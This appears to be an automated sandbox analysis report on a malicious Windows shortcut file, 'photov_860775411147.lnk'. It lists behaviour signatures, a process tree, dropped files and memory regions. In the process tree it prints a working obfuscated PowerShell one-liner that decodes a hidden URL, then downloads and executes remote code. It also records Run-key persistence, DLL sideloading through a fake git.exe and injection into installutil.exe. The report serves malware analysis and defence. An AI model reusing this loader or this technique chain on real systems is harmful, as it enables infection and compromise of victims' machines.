Analysis
- max time kernel
149s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 12:18
General
- Target photov_860775411147.lnk
- Size 1KB
- Sample260727-pgtd3astbw
- SHA256 986e06cb3babe6cb2e7eec75ab18b9f6407fbadb6d1acfb73aad06f5f32b9fe7
Malware Config
Signatures
- Badlisted process makes network request 12 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 22 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_860775411147.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -c "$ktn4p8x=86;$qptczw0=[bigint]::Parse('68799257071155144786353231689842964440818797955515');$isg86t=[bigint]::Parse('68799247119462744079287909681618541624262992881218');$qptczw0=$qptczw0-$isg86t;$r70mob8=@();while($qptczw0 -gt 0){$r70mob8+=[char][int]([bigint]::Remainder($qptczw0,256));$qptczw0=[bigint]::Divide($qptczw0,256)};.([scriptblock]::Create((irm(-join$r70mob8))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "$ktn4p8x=86;$qptczw0=[bigint]::Parse('68799257071155144786353231689842964440818797955515');$isg86t=[bigint]::Parse('68799247119462744079287909681618541624262992881218');$qptczw0=$qptczw0-$isg86t;$r70mob8=@();while($qptczw0 -gt 0){$r70mob8+=[char][int]([bigint]::Remainder($qptczw0,256));$qptczw0=[bigint]::Divide($qptczw0,256)};.([scriptblock]::Create((irm(-join$r70mob8))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\dpnjmaszz_j_upd_zbam\git.exe"C:\Users\Admin\AppData\Local\dpnjmaszz_j_upd_zbam\git.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Users\Admin\AppData\Local\dpnjmaszz_j_upd_zbam\git.exe"C:\Users\Admin\AppData\Local\dpnjmaszz_j_upd_zbam\git.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\GitWinx86\git.exe"C:\ProgramData\GitWinx86\git.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
tvehxf_tdekw25_ptathto.zip
VCRUNTIME140_1.dll
git.exe
libiconv-2.dll
libintl-8.dll
libpcre2-8-0.dll
libwinpthread-1.dll
msvcp140.dll
ucrtbase.dll
vcruntime140.dll
zlib1.dll
DCRCVDrv.sys
memory/760-10-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-30-0x00000217EC240000-0x00000217EC24A000-memory.dmp
memory/760-11-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-12-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-13-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-14-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-16-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-15-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-17-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-18-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-19-0x00000217EC2B0000-0x00000217EC472000-memory.dmp
memory/760-22-0x00000217EC200000-0x00000217EC21E000-memory.dmp
memory/760-23-0x00000217EC480000-0x00000217EC532000-memory.dmp
memory/760-24-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-25-0x00000217EC220000-0x00000217EC22A000-memory.dmp
memory/760-26-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-28-0x00000217EC260000-0x00000217EC284000-memory.dmp
memory/760-27-0x00000217EC260000-0x00000217EC28A000-memory.dmp
memory/760-29-0x00000217ECA70000-0x00000217ECF98000-memory.dmp
memory/760-8-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-32-0x00000217EC270000-0x00000217EC282000-memory.dmp
memory/760-35-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-0-0x00007FF9D75CF000-0x00007FF9D75D0000-memory.dmp
memory/760-9-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-7-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-6-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-37-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-48-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-71-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-72-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-101-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-5-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/760-4-0x00000217EBCF0000-0x00000217EBD12000-memory.dmp
memory/760-1-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp
memory/3388-165-0x00007FF9CCA70000-0x00007FF9CCB8F000-memory.dmp
memory/3388-164-0x00007FF759250000-0x00007FF7596BF000-memory.dmp
memory/3388-166-0x00007FF9F2250000-0x00007FF9F22A2000-memory.dmp
memory/3388-168-0x00007FF9F2220000-0x00007FF9F2246000-memory.dmp
memory/3388-167-0x00007FF9CCF00000-0x00007FF9CCFB6000-memory.dmp
memory/3396-170-0x00007FF759250000-0x00007FF7596BF000-memory.dmp
memory/3396-174-0x00007FF9CCA70000-0x00007FF9CCB8F000-memory.dmp
memory/3396-172-0x00007FF9CCF00000-0x00007FF9CCFB6000-memory.dmp
memory/3396-173-0x00007FF9F2220000-0x00007FF9F2246000-memory.dmp
memory/3396-171-0x00007FF9F2250000-0x00007FF9F22A2000-memory.dmp
memory/4432-230-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-176-0x0000000004FE0000-0x000000000500C000-memory.dmp
memory/4432-182-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-175-0x0000000004E70000-0x0000000004E8A000-memory.dmp
memory/4432-226-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-260-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-244-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-274-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-278-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-276-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-272-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-270-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-268-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-266-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-264-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-262-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-258-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-256-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-254-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-252-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-250-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-248-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-246-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-243-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-240-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-238-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-236-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-234-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-196-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-204-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-163-0x0000000000400000-0x0000000000470000-memory.dmp
memory/4432-224-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-222-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-218-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-216-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-214-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-210-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-208-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-206-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-228-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-200-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-198-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-194-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-192-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-190-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-188-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-186-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-184-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-180-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-178-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-177-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-232-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-220-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-212-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4432-202-0x0000000004FE0000-0x0000000005006000-memory.dmp
memory/4788-141-0x0000000000010000-0x000000000003D000-memory.dmp
memory/5940-169-0x0000000000500000-0x0000000000570000-memory.dmp
memory/5940-2055-0x0000000004F00000-0x0000000004F66000-memory.dmp
memory/5940-2058-0x00000000060B0000-0x0000000006142000-memory.dmp
memory/5940-2059-0x0000000006710000-0x0000000006CCA000-memory.dmp